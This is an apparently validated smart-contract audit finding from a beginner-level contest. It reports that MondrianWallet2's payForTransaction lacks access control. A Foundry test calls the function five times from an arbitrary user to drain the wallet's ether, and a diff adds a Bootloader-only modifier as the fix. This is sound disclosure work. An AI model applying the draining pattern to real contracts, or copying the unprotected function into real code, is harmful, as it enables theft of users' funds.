Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Missing access control in `payForTransaction`

Summary

payForTransaction does not have any access control and, consequently, can be called by anyone any number of times.

Vulnerability Details

payForTransaction is a method intended for paying the Bootloader for transactions. As such, it should be called only by the Bootloader, but this restriction is not implemented. Consequently, anyone can call this function with arbitrary transactions, as demonstrated by the following test:

function testZkAnyoneCanCallPayForTransaction() public {
// Arrange
address anyUser = makeAddr("anyUser");
address dest = address(usdc);
uint256 value = 0;
bytes memory functionData = abi.encodeWithSelector(ERC20Mock.mint.selector, anyUser, AMOUNT);
Transaction memory transaction =
_createUnsignedTransaction(mondrianWallet.owner(), 113, dest, value, functionData);
uint256 initialBalance = address(mondrianWallet).balance;
// vm.txGasPrice(100); //setting gas price to 100 gwei - this has no effect on the amount paid to the bootloader
vm.startPrank(anyUser);
mondrianWallet.payForTransaction(EMPTY_BYTES32, EMPTY_BYTES32, transaction);
mondrianWallet.payForTransaction(EMPTY_BYTES32, EMPTY_BYTES32, transaction);
mondrianWallet.payForTransaction(EMPTY_BYTES32, EMPTY_BYTES32, transaction);
mondrianWallet.payForTransaction(EMPTY_BYTES32, EMPTY_BYTES32, transaction);
mondrianWallet.payForTransaction(EMPTY_BYTES32, EMPTY_BYTES32, transaction);
vm.stopPrank();
uint256 endingBalance = address(mondrianWallet).balance;
assert(endingBalance < initialBalance);
}

Impact

A malicious user can keep calling payForTransaction until the wallet transfers all of its ether to the Bootloader.

Tools Used

Manual review, Foundry.

Recommendations

Restrict access to the function so that only the Bootloader can call it:

function payForTransaction(bytes32, /*_txHash*/ bytes32, /*_suggestedSignedHash*/ Transaction memory _transaction)
external
- payable
+ payable requireFromBootLoader
{
bool success = _transaction.payToTheBootloader();
if (!success) {
revert MondrianWallet2__FailedToPay();
}
}
Updates

Lead Judging Commences

bube Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of access control in payForTransaction function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.